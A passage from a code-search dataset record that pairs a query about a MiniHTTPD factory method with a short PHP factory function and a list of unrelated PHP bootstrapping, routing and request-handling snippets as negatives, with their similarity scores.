'on');\n\t\t\tini_set('xdebug.dump.SERVER', 'REQUEST_URI,REQUEST_METHOD');\n\t\t\tini_set('xdebug.show_local_vars', 'on');\n\t\t}\n\t}", "public function run(HttpServer $server = null): void\n {\n $this->startup();\n if ($server) {\n $server->addListener($this);\n $server->start();\n } else {\n $response = $this->handle(ServerRequest::fromGlobals());\n $this->emitter->emit($response);\n if ($response instanceof Response) {\n $response->end();\n }\n }\n\n $this->shutdown();\n }", "public function __construct() {\n $this->start();\n }", "protected function setUp()\n {\n $_SERVER['DOCUMENT_ROOT'] = '/var/www';\n $_SERVER['SCRIPT_FILENAME'] = '/var/www/zepto/index.php';\n $_SERVER['SERVER_NAME'] = 'zepto';\n $_SERVER['SERVER_PORT'] = '80';\n $_SERVER['SCRIPT_NAME'] = '/zepto/index.php';\n $_SERVER['REQUEST_URL'] = '/zepto/index.php/bar/xyz';\n $_SERVER['REQUEST_URI'] = '/zepto/index.php/bar/xyz';\n $_SERVER['PATH_INFO'] = '/bar/xyz';\n $_SERVER['REQUEST_METHOD'] = 'GET';\n $_SERVER['QUERY_STRING'] = 'one=1&two=2&three=3';\n $_SERVER['HTTPS'] = '';\n $_SERVER['REMOTE_ADDR'] = '127.0.0.1';\n unset($_SERVER['CONTENT_TYPE'], $_SERVER['CONTENT_LENGTH']);\n }", "public static function init()\n\t{\n\t\tstatic $run;\n\n\t\t// This function can only be run once\n\t\tif ($run === TRUE)\n\t\t\treturn;\n\t\t\n\t\t// Load configuration object\n\t\tTC::$config = new TC_Config();\n\t\t\n\t\t// Load cache\n\t\tTC::$cache = new TC_Cache(TC::$config->get('tc.config_driver'));\n\t}", "public static function Initialize($autoload_routes = true)\n {\n self::$env = self::loadEnvSettings();\n self::$folders = self::$env['folders'];\n self::$files = self::$env['files'];\n self::$debug = self::$env['debug'];\n self::$vendors = self::$env['vendor'];\n\n // initialize our services\n Autoloader::Register();\n ErrorHandler::Register(self::$debug);\n Database::LoadInfo();\n Session::start();\n\n // auto create the view cache folder if neccessary\n if (isset(self::$env['viewcache'])) {\n if (!is_dir(self::$env['viewcache'])) {\n mkdir(self::$env['viewcache'], 0777, true);\n }\n }\n\n if ($autoload_routes) {\n try {\n Router::LoadRoutes();\n Router::Run();\n } catch (Exception $exception) {\n $class_bits = get_class($exception);\n $parts = explode('\\\\', $class_bits);\n $class = end($parts);\n\n if (ErrorHandler::HasHook($class)) {\n ErrorHandler::ExecuteHook($class, $exception);\n } elseif (self::$debug) {\n \\Library\\Printout::write($exception);\n }\n }\n }\n }", "final static function init(array $inOptions = array()) {\n\t\t/*\n\t\t * Set up global static vars\n\t\t */\n\t\tself::setIsCli();\n\t\tself::setScriptFilename();\n\t\tself::setScriptPath();\n\t\t\n\t\t/*\n\t\t * Initialise autoload system\n\t\t */\n\t\tself::registerAutoloader('systemAutoload::autoload');\n\t\t\n\t\t/*\n\t\t * Initialise object registry system\n\t\t */\n\t\tself::initRegistry($inOptions);\n\t\tsystemAutoload::addPath(self::getConfig()->getPathLibraries());\n\t\tsystemAutoload::addPath(self::getConfig()->getPathClasses());\n\t\t\n\t\t/*\n\t\t * Must come after config is loaded \n\t\t */\n\t\tself::setScriptRelativePath();\n\t\t\n\t\t/*\n\t\t * Check that the temp and log folders can be written to; if required\n\t\t */\n\t\tif ( self::getConfig()->checkFolderPermissions() ) {\n\t\t\tself::checkPermissions();\n\t\t}\n\t\t\n\t\t/*\n\t\t * Set-up CLI environment, if required\n\t\t */\n\t\tif ( self::getIsCli() ) {\n\t\t\t/*\n\t\t\t * Include patch files if pcntl or posix is missing regardless of platform\n\t\t\t */\n\t\t\tif ( !extension_loaded('pcntl') ) {\n\t\t\t\trequire_once(self::getConfig()->getPathLibraries().DIRECTORY_SEPARATOR.'pcntl_patch.php');\n\t\t\t}\n\t\t\tif ( !extension_loaded('posix') ) {\n\t\t\t\trequire_once(self::getConfig()->getPathLibraries().DIRECTORY_SEPARATOR.'posix_patch.php');\n\t\t\t}\n\t\t\t\n\t\t\t/*\n\t\t\t * This protects stdout from getting duplicate messages from CHILD_PROCESS processes\n\t\t\t */\n\t\t\t@ob_end_flush();\n\t\t\tset_time_limit(0);\n\t\t\terror_reporting(E_ALL);\n\t\t}\n\t\t\n\t\t/*\n\t\t * Set new error handler to our systemLog class\n\t\t */\n\t\tif ( self::getConfig()->registerErrorHandler() ) {\n\t\t\tset_error_handler(array('systemLog', 'errorHandler'));\n\t\t}\n\t\t\n\t\t/*\n\t\t * Set a global exception handler\n\t\t */\n\t\tif ( self::getConfig()->registerExceptionHandler() ) {\n\t\t\tset_exception_handler(array('systemLog', 'exceptionHandler'));\n\t\t}\n\t\t\n\t\t/*\n\t\t * Set a default DSN, if required\n\t\t */\n\t\tif ( self::getConfig()->registerDefaultDatabaseDsn() ) {\n\t\t\ttry {\n\t\t\t\tdbManager::setDefaultDsn(\n\t\t\t\t\tdbOptions::getInstance(\n\t\t\t\t\t\tself::getConfig()->getDatabaseDsn()->getParamValue()\n\t\t\t\t\t)\n\t\t\t\t);\n\t\t\t} catch ( Exception $e ) {\n\t\t\t\tsystemLog::info(\"Attempted to set system default DSN but failed: \".$e->getMessage());\n\t\t\t}\n\t\t}\n\t\t\n\t\t/*\n\t\t * Set default timezone - will raise an E_NOTICE if invalid\n\t\t */\n\t\tif ( self::getConfig()->getSystemTimeZone()->getParamValue() ) {\n\t\t\t@date_default_timezone_set(self::getConfig()->getSystemTimeZone()->getParamValue());\n\t\t}\n\t}", "public function start()\n {\n try {\n $this->registerProvider(Dependents::class);\n $route = Router::match();\n $response = $this->startAction($route);\n }\n catch (\\Throwable $e) {\n $response = $this->handleException($e);\n }\n catch (\\Exception $e) {\n $response = $this->handleException($e);\n }\n\n if ($response instanceof Response) {\n $this->accept($response);\n }\n }", "public function __construct(){\n\t\t//e.g. /benGallery/gallery/admin.php ( after the domain in the url)\n\t\t$this->uri=substr($_SERVER['REQUEST_URI'],0,(strpos($_SERVER['REQUEST_URI'],'?')?strpos($_SERVER['REQUEST_URI'],'?'):strlen($_SERVER['REQUEST_URI'])));\n\t\t\n\t\t$this->http_server='http'.(isset($_SERVER['HTTPS']) ? 's' : '').'://'.$_SERVER['HTTP_HOST'];\n\t\t\n\t\tif(isset($_SERVER['HTTP_REFERER'])){\n\t\t\tif(substr($_SERVER['HTTP_REFERER'],0,strlen($this->http_server))==$this->http_server){\n\t\t\t\t$this->referer=substr($_SERVER['HTTP_REFERER'],strlen($this->http_server));\n\t\t\t}else{\n\t\t\t\t$this->referer=$_SERVER['HTTP_REFERER'];\n\t\t\t}\n\t\t}\n\t\t\n\t\t//e.g. /var/www/benGallery/gallery/ ( absolute path to the gallery script)\n\t\t$this->fs_path=$_SERVER['DOCUMENT_ROOT'].substr($_SERVER[\"SCRIPT_NAME\"],0,strrpos($_SERVER[\"SCRIPT_NAME\"],'/')+1);\n\t\n\t\t//load params from url\n\t\tparse_str($_SERVER['QUERY_STRING'],$this->query);\n\t\t\n\t\t//subtract query string from uri to end up with the http path to the app on this server\n\t\tif(isset($this->query['page']) && !empty($this->query['page'])){\n\t\t\t$this->root_http_path=substr($this->uri,0,-strlen(str_replace(array(' '),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t array('%20'),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t $this->query['page'])));\n\t\t}else{\n\t\t\t$this->root_http_path=$this->uri;\n\t\t}\n\t\t\n\t\t//BEGIN SESSION!\n\t\tsession_set_cookie_params(0,$this->root_http_path);\n\t\t$a = session_id();\n\t\tif ($a == '') session_start();\n\t\tif (!isset($_SESSION['safety'])) {\n\t\t\tsession_regenerate_id(true);\n\t\t\t$_SESSION['safety'] = true;\n\t\t}\n\t\t$_SESSION['sessionid'] = session_id();\n\n\t\t//LOAD CONFIGURATION\n\t\t$this->ini=parse_ini_string(file_get_contents($this->config_name),true);\n\n\t\t//determine which page to view\n\t\t$this->page=array('uri'=>$this->ini['front']['default'],'params'=>array(),'template'=>false);\n\t\tif(isset($this->query['page'])) \n\t\t\t$this->page=$this->determine_uri_split($this->query['page']);\n\t\t\t\n\t\t$this->page['template']=$this->determine_tpl($this->page['uri']);\n\t\t\n\t\t//load cascading extra config\n\t\t$this->page['extra_config']=array_reverse($this->determine_cfg($this->page['uri']));\n\t\tforeach($this->page['extra_config'] as $extra_config){\n\t\t\t$this->load_cfg($extra_config);\n\t\t}\n\t\t\n\t\t//load package configs\n\t\twhile(isset($this->ini['front']) && isset($this->ini['front']['config']) && \n\t\t\t\tis_array($this->ini['front']['config']) && count($this->ini['front']['config'])){\n\t\t\t\t\n\t\t\tforeach($this->ini['front']['config'] as $pkgId=>$pkg){\n\t\t\t\t$this->load_cfg($this->ini['front']['template_dir'].$pkg.'/'.$this->config_name);\n\t\t\t\tunset($this->ini['front']['config'][$pkgId]);\n\t\t\t}\n\t\t}\n\t\t\n\t\t//load header html code from the config file!\n\t\tif(isset($this->ini['front']['headerHTML'])) $this->page['headerHTML']=$this->ini['front']['headerHTML'];\n\t\telse $this->page['headerHTML']=array();\n\t\t\n\n\t\t//load database driver module\n\t\tif(isset($this->ini['db']['driver'])) $this->db=$this->load($this->ini['db']['driver']);\t\n\t\t\t\n\t\t//load initial modules in ascending order of keys\n\t\tksort($this->ini['init']);\n\t\tforeach($this->ini['init'] as $mod_array){\n\t\t\tforeach($mod_array as $mod){\n\t\t\t\t$this->load($mod);\n\t\t\t}\n\t\t}\n\t\t\n\t}", "private function init() {\n\n\t\tif ( ! $this->should_load() ) {\n\t\t\treturn;\n\t\t}\n\t\t$this->setup_admin();\n\t\t$this->setup_api();\n\t}", "function __construct() {\n global $urlpatterns,$errorhandler;\n //Initialize config object\n $this->config=new Config();\n //Get all URLs Routes\n $this->routes=$this->config->urlpatterns;\n //Get all ErrorHandler\n $this->error_routes=$this->config->errorhandler;\n //Check for server error\n $this->server_error();\n //Route URLs\n $this->router($this->config->request_path, $this->routes);\n }", "public static function init($config) {\n if (self::$_app === null) {\n self::$_app = new App();\n self::$_app->setFilesystem(new Filesystem(new SftpAdapter(array_merge($config, ['timeout' => 10]))));\n }\n }", "public function startServer()\n {\n // fork\n $pid = pcntl_fork();\n\n // if we're in the child process, start the server and listen for data\n if ($pid > 0)\n {\n return $pid;\n }\n elseif ($pid === 0)\n {\n return $this->listen();\n }\n }", "public function run(Server $server = null): void\n {\n $this->startup();\n if ($server) {\n $server->addListener($this);\n $server->start();\n } else {\n $response = $this->handle(ServerRequest::fromGlobals());\n $this->emitter->emit($response);\n if ($response instanceof Response) {\n $response->end();\n }\n }\n\n $this->shutdown();\n }", "public function init()\n\t{\n\t\t$this->loader->init();\n\t\t$this->routing->init();\n\t}", "protected function __construct(array $hConfig = [])\n {\n $oServer = \\Limbonia\\Input::singleton('server');\n $this->sCliName = preg_replace(\"/^limbonia_/\", '', basename($oServer['argv'][0]));\n\n $hOptions = getopt('', ['mode::']);\n $this->sMode = empty($hOptions) ? $this->sCliName : $hOptions['mode'];\n\n $this->oRouter = \\Limbonia\\Router::fromUri(strtolower(preg_replace(\"#_#\", '/', $this->sMode)));\n parent::__construct($hConfig);\n }", "protected function Init() \n {\n // Load the APP config.php and add the defined vars\n $this->load($this->files['app']['file_path'], 'app');\n \n // Load the core.config.php and add the defined vars\n $this->load($this->files['core']['file_path'], 'core', 'config');\n \n // Load the database.config.php and add the defined vars\n $this->load($this->files['db']['file_path'], 'db', 'DB_configs');\n }", "public function initAndDispatch() {\n\t\treturn $this->initTypoScriptFrontendController()\n\t\t\t->initTypoScriptConfiguration()\n\t\t\t->initLanguage()\n\t\t\t->initCallArguments()\n\t\t\t->dispatch();\n\t}", "function start()\n {\n $this->startService();\n $this->startSession();\n }", "public static function start()\n {\n if (static::$isRegistered)\n return;\n \n register_shutdown_function(array(get_called_class(), 'checkForFatalErrors'));\n static::$isRegistered = true;\n }", "public static function initRequest() {\n spl_autoload_register(function ($class) {\n require_once '/Users/Anders/Sites/tasty/classes/App/' . \\str_replace('\\\\', '/', $class) . '.php';\n });\n\n session_start();\n }", "private function configureRouting()\n {\n // Setup the router.\n $router = new FastRoute([]);\n\n // Add routes.\n $router->addRoutes([\n new Route('/', Controller\\Home::class, 'home'),\n ]);\n\n // Set the router object.\n $this->setRouter($router);\n }", "function __construct($config, $adminList) {\n\t\t$this->config = $config;\n\t\t$this->admins = $adminList;\n\t\tif($this->config['serverPassword'] == \"\") $this->config['serverPassword'] = \"NOPASS\";\n\t\t$this->log(\"ircBot - starting up...\\n\");\n\n\t\t# Load modules\n\t\trequire_once(\"class.ircModule.php\");\n\t\t$this->log(\"[INIT]: Loading modules...\");\n\t\tforeach($config['modules'] as $module) {\n\t\t\t$this->loadModule($module);\n\t\t}\n\t\t$this->log(\"[INIT]: Module load finished\");\n\n\t\t# Generate a new connection\n\t\ttry {\n\t\t\t$this->connectToServer($config);\n\t\t} catch (Exception $e) {\n\t\t\tdie(\"Exception caught, terminating. Could not connect to server: \".$e->getMessage());\n\t\t}\n\n\t\t# Should now have a connection in $this->socket, lets initialise\n\t\ttry {\n\t\t\t$this->sendCommand(\"PASS \".$this->config['serverPassword']);\n\t\t\t$this->sendCommand(\"NICK \".$this->config['username']);\n\t\t\t$this->sendCommand(\"USER \".$this->config['username'].\" 0 * :\".$this->config['realname']);\n\t\t} catch (Exception $e) {\n /** @var $this ircBot */\n die($this->log(\"Exception caught while negotiating server join: \".$e->getMessage()));\n\t\t}\n\n\t\t# Now pass off control to the main controller\n\t\t$this->controller();\n\t}" ]
[ "0.6591059", "0.61278903", "0.6025732", "0.5967823", "0.59510744", "0.5892644", "0.58199817", "0.57597095", "0.5740682", "0.5739555", "0.5731995", "0.56559885", "0.56442", "0.563607", "0.563023", "0.56243163", "0.56119245", "0.5531699", "0.5523953", "0.55203754", "0.55101335", "0.549272", "0.549171", "0.54651946", "0.54648703", "0.54593694", "0.54515976", "0.544827", "0.5442842", "0.5440654", "0.543457", "0.5432526", "0.54250306", "0.54224545", "0.54071206", "0.5404711", "0.5404711", "0.5403823", "0.5384215", "0.53679985", "0.5355995", "0.5328021", "0.52653646", "0.5256349", "0.52423143", "0.52227247", "0.5211068", "0.520504", "0.5202747", "0.5193365", "0.5192526", "0.5191303", "0.5188673", "0.51568747", "0.5150859", "0.5131707", "0.5123891", "0.51234305", "0.5121835", "0.5113249", "0.50936216", "0.50922734", "0.5090479", "0.50852656", "0.50678676", "0.5057186", "0.50542766", "0.50478697", "0.50448555", "0.5038091", "0.5031592", "0.50296617", "0.50258327", "0.5020593", "0.50152576", "0.5013961", "0.50109065", "0.5008782", "0.50071764", "0.49983716", "0.4994018", "0.4992445", "0.49854597", "0.49831185", "0.49718288", "0.49691853", "0.49602464", "0.49525213", "0.49514136", "0.49488586", "0.4948768", "0.49481252", "0.49471688", "0.49271005", "0.49224344", "0.4916428", "0.4915637", "0.49122193", "0.4910174", "0.49040857" ]
0.7307075
0
Factory method for creating MiniHTTPD objects. This is a helper method used mainly for creating chainable objects.
public static function factory($type) { $class = 'MHTTPD_'.ucfirst($type); return new $class; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public static function create()\n {\n $contentType = isset($_SERVER['CONTENT_TYPE']) ? $_SERVER['CONTENT_TYPE'] : 'text/html';\n return (new Request(\n $_SERVER['REQUEST_METHOD'], $_SERVER['REQUEST_URI'] ,\n $_REQUEST, $contentType\n ))->processBody();\n }", "public static function factory()\n {\n $request = new Request();\n static::$_current = $request;\n return $request;\n }", "private function getBuilder(): RequestBuilder\n {\n return new RequestBuilder(new StreamFactory());\n }", "static public function createFromGlobals()\n {\n $request = new static($_GET, $_POST, array(), $_COOKIE, $_FILES, $_SERVER);\n\n if (0 === strpos($request->server->get('CONTENT_TYPE'), 'application/x-www-form-urlencoded')\n && in_array(strtoupper($request->server->get('REQUEST_METHOD', 'GET')), array('PUT', 'DELETE'))\n ) {\n parse_str($request->getContent(), $data);\n $request->request = new Collection($data);\n }\n\n return $request;\n }", "private function createHttpHandler()\n {\n $this->httpMock = new MockHandler();\n\n $handlerStack = HandlerStack::create($this->httpMock);\n $handlerStack->push(Middleware::history($this->curlHistory));\n\n $this->client = new Client(['handler' => $handlerStack]);\n\n app()->instance(Client::class, $this->client);\n }", "private function createSlim()\r\n {\r\n return new \\Slim\\Slim();\r\n }", "public static function createFromGlobals()\r\n {\r\n // Create and return a new instance of this\r\n return new static(\r\n $_GET,\r\n $_POST,\r\n $_COOKIE,\r\n $_SERVER,\r\n $_FILES,\r\n null // Let our content getter take care of the \"body\"\r\n );\r\n }", "public static function create($type)\n\t{\n\t\tif (empty($type) || 0 === strpos($type, 'text/html')) {\n\t\t\treturn new HttpGetRequest;\n\t\t}\n\n\t\tif (0 === strpos($type, 'application/json')) {\n\t\t\treturn new HttpJsonRequest;\n\t\t}\n\n\t\treturn new HttpPostRequest;\n\t}", "public static function createFromGlobals()\n {\n $class = __CLASS__;\n\n \n //Modification for modouth flow TODO: extend request class and override createFromGlobals method\n //to handle params stored in session\n \n $OAUTH_PARAMS = array();\n \n $clientKey = 'modoauth-clientid';\n $resTypeKey = 'modoauth-responsetype';\n $stateKey = 'modoauth-state';\n \n if(isset($_SESSION['modoauth'])){\n $oauthParams = $_SESSION['modoauth'];\n $OAUTH_PARAMS = array(\n \"client_id\"=>$oauthParams[$clientKey],\n \"response_type\"=>$oauthParams[$resTypeKey],\n \"state\"=>$oauthParams[$stateKey]\n );\n }\n \n $request = new $class(array_merge($_GET,$OAUTH_PARAMS), $_POST, array(), $_COOKIE, $_FILES, $_SERVER);\n\n $contentType = $request->server('CONTENT_TYPE', '');\n $requestMethod = $request->server('REQUEST_METHOD', 'GET'); \n if (0 === strpos($contentType, 'application/x-www-form-urlencoded')\n && in_array(strtoupper($requestMethod), array('PUT', 'DELETE'))\n ) {\n parse_str($request->getContent(), $data);\n $request->request = $data;\n } elseif (0 === strpos($contentType, 'application/json')\n && in_array(strtoupper($requestMethod), array('POST', 'PUT', 'DELETE'))\n ) {\n $data = json_decode($request->getContent(), true);\n $request->request = $data;\n }\n \n return $request;\n }", "protected function factory()\n {\n $this->request = $this->request();\n $this->response = $this->response();\n $this->route = $this->route();\n\n return $this;\n }", "public function __construct(){\n\t\t$this->headers = apache_request_headers();\n\t\t// Save the special x-RESTProxy-* headers\n\t\t$this->Host = $this->Host? $this->Host : $this->headers['x-RESTProxy-Host'];\n\t\t$this->Port = $this->headers['x-RESTProxy-Port'] ? ':'.$this->headers['x-RESTProxy-Port'] : \"\";\n\t\t$this->Https = ($this->headers['x-RESTProxy-HTTPS'])? $this->headers['x-RESTProxy-HTTPS'] : false;\n\t\t// Create a temp file in memory\n\t\t$this->fp = fopen('php://temp/maxmemory:256000','w');\n\t\tif (!$this->fp){\n\t\t\t$this->Error(100);\n\t\t}\n\t\t// Write the input into the in-memory tempfile\n\t\t$this->input = file_get_contents(\"php://input\");\n\t\tfwrite($this->fp,$this->input);\n\t\tfseek($this->fp,0);\n\n\t\t//Get the REST Path\n\t\tif(!empty($_SERVER['PATH_INFO'])){\n\t\t $this->_G = substr($_SERVER['PATH_INFO'], 1);\n\t\t //$this->_G = explode('/', $_mGET);\n\t\t }\n\t\t \n\t\t // Get the raw GET request\n\t\t $tmp = explode('?',$_SERVER['REQUEST_URI']);\n\t\t if ($tmp[1]) {\n\t\t \t$this->_RawGET = $tmp[1];\n\t\t } else {\n\t\t \t$this->_RawGET = \"\";\n\t\t }\n\t \n\t}", "public function createServerRequestFromGlobals(): ServerRequestInterface;", "public function createServerRequestFromGlobals(): ServerRequestInterface;", "private function newRequest($queryString= '') {\n return new Request(new TestInput('GET', '/'.$queryString));\n }", "function request() {\n return new Request;\n }", "public static function factory($uri)\n\t{\n\t\treturn new Request($uri);\n\t}", "protected function _getRequest() {\n\t\treturn new Request;\n\t}", "public function createRequest()\n {\n return new ChipVN_Http_Request;\n }", "protected function createHttpRequest()\n {\n return $this->createMock(RequestInterface::class);\n }", "protected function http()\n {\n return new Client;\n }", "public static function parse(ServerRequest $request)\n {\n $factory = new static($request);\n return $factory;\n }", "private function createRequest(): ServerRequest\n {\n return new ServerRequest(\n 'POST',\n 'https://localhost/',\n [\n 'Accept' => '*/*',\n 'content-type' => 'application/json',\n 'User-Agent' => 'GitHub-Hookshot/0000000',\n 'X-GitHub-Delivery' => '00000000-0000-0000-0000-000000000000',\n 'X-GitHub-Event' => 'ping',\n 'X-Hub-Signature' =>\n 'sha1=5563c89a2f4743278567358293adc9a65680725b',\n ],\n '{\"zen\":\"Approachable is better than simple.\",\"hook_id\":202756468,\"sender\":{\"url\":\"https://api.github.com/users/loilo\"}}'\n );\n }", "protected function _createRouter(){\n\t\treturn new SimpleRouter();\n\t}", "protected function initFramework()\n {\n self::$request = Request::createFromGlobals();\n\n return $this;\n }", "public static function create() {}", "public static function create() {}", "public static function create() {}", "function WP_Http() {\n\t\t$this->__construct();\n\t}", "public function __construct() {\n $this->setGetter( new HttpGetter() );\n }", "protected function buildWebRequest()\n {\n $args = $_REQUEST;\n $params = array();\n\n $route = $_SERVER['REQUEST_URI'];\n $posQuestionMark = strpos($route, '?');\n if ($posQuestionMark !== false) {\n $route = substr($route, 0, $posQuestionMark);\n }\n \n $posIndex = strpos($route, 'index.php');\n if ($posIndex !== false) {\n $route = substr($route, $posIndex + strlen('index.php'));\n }\n \n // Transform the arguments\n foreach ($args as $key => $value) {\n if (is_numeric($value)) {\n // Transform the value into the correct data type\n $value = $value * 1;\n }\n \n $params[$key] = $value;\n }\n\n // Generate the full url and extract the base\n $scheme = $this->getScheme();\n $fullUrl = $scheme . '://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];\n\n $isSsl = false;\n if ($scheme == 'https') {\n $isSsl = true;\n }\n \n $routePosition = strlen($fullUrl);\n if ($route !== '' && $route !== '/') {\n $routePosition = strpos($fullUrl, $route);\n }\n \n $method = $_SERVER['REQUEST_METHOD'];\n $requestedUrl = $this->getRequestedUrl();\n $base = substr($fullUrl, 0, $routePosition);\n $headers = $this->getHeaders($_SERVER);\n $protocol = $_SERVER['SERVER_PROTOCOL'];\n \n $locale = 'en_US';\n if (isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])) {\n $locale = $this->getLocale($_SERVER['HTTP_ACCEPT_LANGUAGE']);\n }\n \n $operatingSystem = $this->getOperatingSystem();\n\n return new WebRequest($method, $requestedUrl, $route, $params, $base, $locale, $operatingSystem, $isSsl, $headers, $protocol);\n }", "public function newInstance($uri);", "public function createResponseWriter();", "public static function createFromSuperglobal() {\n /*\n * Mandatory $_SERVER elements\n * - REQUEST_SCHEME e.g. http, https\n * - REQUEST_METHOD e.g. POST, GET, HEAD, PUT\n * - SERVER_NAME e.g. www.example.com\n * - SERVER_PORT e.g. 80\n * - REQUEST_URI e.g. /foo/bar?q=baz\n *\n * Optional $_SERVER elements\n * - HTTP_REFERER e.g. www.example.com/foo?q=bar\n * - HTTP_COOKIE e.g. foo=bar\n * - CONTENT_TYPE e.g. application/x-www-form-urlencoded\n *\n * If the REQUEST_METHOD is POST, then $_POST contains POST values if they were sent as \n * name/value pairs, but is empty if the browser sent XML or JSON. To get raw POST data, \n * read the stream \"php://input\". Note: this stream is not available with \n * enctype=\"multipart/form-data\".\n */\n $superglobalHeaders = array(); \n \n // Build URL from mandatory $_SERVER elements\n if (($_SERVER[\"SERVER_PORT\"] == \"80\") || ($_SERVER[\"SERVER_PORT\"] == \"443\")) {\n $url = $_SERVER[\"REQUEST_SCHEME\"].\"://\".$_SERVER[\"SERVER_NAME\"].$_SERVER[\"REQUEST_URI\"];\n } else {\n $url = $_SERVER[\"REQUEST_SCHEME\"].\"://\".$_SERVER[\"SERVER_NAME\"].\":\".$_SERVER[\"SERVER_PORT\"].$_SERVER[\"REQUEST_URI\"];\n }\n \n // Other mandatory $_SERVER elements\n //$requestHeaders[\"URL\"] = $url;\n $requestHeaders[\"Method\"] = $_SERVER[\"REQUEST_METHOD\"];\n $requestHeaders[\"Host\"] = $_SERVER[\"SERVER_NAME\"];\n \n // Optional $_SERVER elements\n if (isset($_SERVER[\"HTTP_REFERER\"])) {\n $requestHeaders[\"Referer\"] = $_SERVER[\"HTTP_REFERER\"];\n } else {\n $requestHeaders[\"Referer\"] = \"\";\n }\n if (isset($_SERVER[\"HTTP_COOKIE\"])) {\n $requestHeaders[\"Cookie\"] = $_SERVER[\"HTTP_COOKIE\"];\n } else {\n $requestHeaders[\"Cookie\"] = \"\";\n }\n if (isset($_SERVER[\"CONTENT_TYPE\"])) {\n $requestHeaders[\"Content-Type\"] = $_SERVER[\"CONTENT_TYPE\"];\n } else {\n $requestHeaders[\"Content-Type\"] = \"\";\n }\n \n // POST values (if applicable)\n if ($_SERVER[\"REQUEST_METHOD\"] == \"POST\") {\n $requestBody = file_get_contents(\"php://input\");\n } else {\n $requestBody = \"\";\n }\n \n // Return a new instance of HttpRequest\n $instance = new self($url, $requestHeaders, $requestBody);\n return $instance;\n }", "function __construct()\n {\n parent::__construct();\n\n // Set our page category and name\n $this->pageCategory('default');\n $this->pageName('The object you called did not properly extend the fRESTApplication Object');\n\n // We're going to output XML\n $this->fOutput->setMimeType('text/xml');\n\n // No caching output\n //$this->fOutput->noCache = true;\n\n // Don't use the theme or try and merge them\n $this->fTheme->useTheme(false);\n\n // Setup our default DOM document\n $this->dom = new DOMDocument('1.0', 'UTF-8');\n $this->dom->formatOutput = true;\n\n // Create the root node and result subnode\n $this->parentNode = $this->dom->createElement(get_class($this));\n $this->dom->appendChild($this->parentNode);\n $this->result = $this->dom->createElement('result');\n $this->parentNode->appendChild($this->result);\n\n // Append the hostname for debugging\n $hostname = new tHostname();\n $this->parentNode->appendChild($this->dom->createElement('host', $hostname->get()));\n\n // Append the request time\n $this->parentNode->appendChild($this->dom->createElement('requestTime', strftime('%x %X')));\n }", "protected function __construct()\r\n\t{\r\n\t\t$c = \\App\\Util\\Config::getInstance();\r\n\t\t$cslim = isset($c['slim']) ? $c['slim'] : [];\r\n\t\t$cslim['debug'] = $c['debug'];\r\n\t\t$this->slim = new \\Slim\\Slim($cslim);\r\n\t\t$this->files = &$_FILES;\r\n\t\t$this->get = $this->slim->request()->get();\r\n\t\t$this->post = $this->slim->request()->post();\r\n\t\t\r\n\t\tif($c['strict']){\r\n\t\t\terror_reporting( E_ALL | E_NOTICE | E_STRICT );\r\n\t\t}\r\n\t\t\r\n\t\t//add all stuff we need to slims container\r\n\t}", "public function createRequest();", "public function createRequest();", "abstract public function __construct($uri = null, $headers = array());", "public function __construct() {\r\n\t\t$this->request_method = $_SERVER ['REQUEST_METHOD'];\r\n\t\t$this->url_elements = explode ( '/', $_SERVER ['PATH_INFO'] );\r\n\t\t$this->parseIncomingParams ();\r\n\t\t// Initialise json as default format\r\n\t\t$this->format = 'json';\r\n\t\tif (isset ( $this->parameters ['format'] )) {\r\n\t\t\t$this->format = $this->parameters ['format'];\r\n\t\t}\r\n\t}", "public function __construct()\n {\n $this->http = new swoole_http_server(self::HOST, self::PORT);\n\n $this->http->set([\n \"enable_static_handler\" => true,\n \"document_root\" => \"/home/alex/study/thinkphp/public/static/\",\n 'worker_num' => 2,\n 'task_worker_num' => 2,\n\n ]);\n\n $this->http->on(\"WorkerStart\", [$this, 'onWorkerStart']);\n $this->http->on(\"request\", [$this, 'onRequest']);\n $this->http->on(\"task\", [$this, 'onTask']);\n $this->http->on(\"finish\", [$this, 'onFinish']);\n $this->http->on(\"close\", [$this, 'onClose']);\n\n\n $this->http->start();\n }", "abstract protected function create ();", "public function init() {\n #Get bootstrap object.\n $bootstrap = $this->getInvokeArg('bootstrap');\n #Get Logger\n $this->log = $bootstrap->getResource('Log');\n #Get Doctrine Entity Manager\n $this->em = $bootstrap->getContainer()->get('entity.manager');\n #Get config\n $this->config = $bootstrap->getContainer()->get('config');\n\n #Init REST Server\n $this->_server = new Server($this->getRequest());\n $aliases = array(\n 'resources' \t=> self::RESOURCES,\n 'variations' \t=> self::VARIATIONS,\n 'galleries' \t=> self::GALLERIES,\n 'pages' \t\t=> self::PAGES,\n 'menuitems' => self::MenuItems,\n 'templates' \t=> self::TEMPLATES,\n 'tvars' \t\t=> self::TVARS,\n 'tvarconts' \t=> self::TVARCONTENTS,\n 'users' \t\t=> self::USERS,\n 'blog' \t\t=> self::BLOGITEMS,\n 'discounts' \t=> self::DISCOUNTS,\n 'vcard' \t\t=> self::HCARDS,\n 'categories' \t=> self::CATEGORIES,\n 'tags' \t\t=> self::TAGS,\n 'settings' \t\t=> self::SETTINGS,\n 'addresses' \t=> self::ADDRESSES,\n 'metadata' \t\t=> self::METADATA,\n 'homepageitems' => self::HOMEPAGEITEMS,\n 'homepage' \t\t=> self::HOMEPAGE,\n 'brands'\t\t=> self::BRANDS,\n 'products'\t\t=> self::PRODUCTS,\n 'looks'\t\t\t=> self::LOOKS,\n 'grids'\t\t\t=> self::GRIDS,\n 'acluserroles'\t=> self::ACLUSERROLES,\n 'collections' => self::COLLECTIONS,\n );\n $actions = array(\n 'auth' => self::AUTH,\n 'mediabrowser' => self::MEDIABROWSER,\n 'mediavariations' => self::MEDIA_VARIATIONS,\n 'search' => self::SEARCH,\n 'videos' => self::RESOURCES_VIDEOS\n );\n $this->_server->setAliases($aliases);\n $this->_server->setActions($actions);\n $this->method = $this->_server->getResponseActionName();\n $this->_repo = $this->_server->execute();\n\n #Enable Context Switching\n $contextSwitch = $this->_helper->getHelper('contextSwitch');\n $contextSwitch\n ->addActionContext('index', array('xml', 'json'))\n ->addActionContext('get', array('xml', 'json'))\n ->addActionContext('put', array('xml', 'json'))\n ->addActionContext('post', array('xml', 'json'))\n ->addActionContext('delete', array('xml', 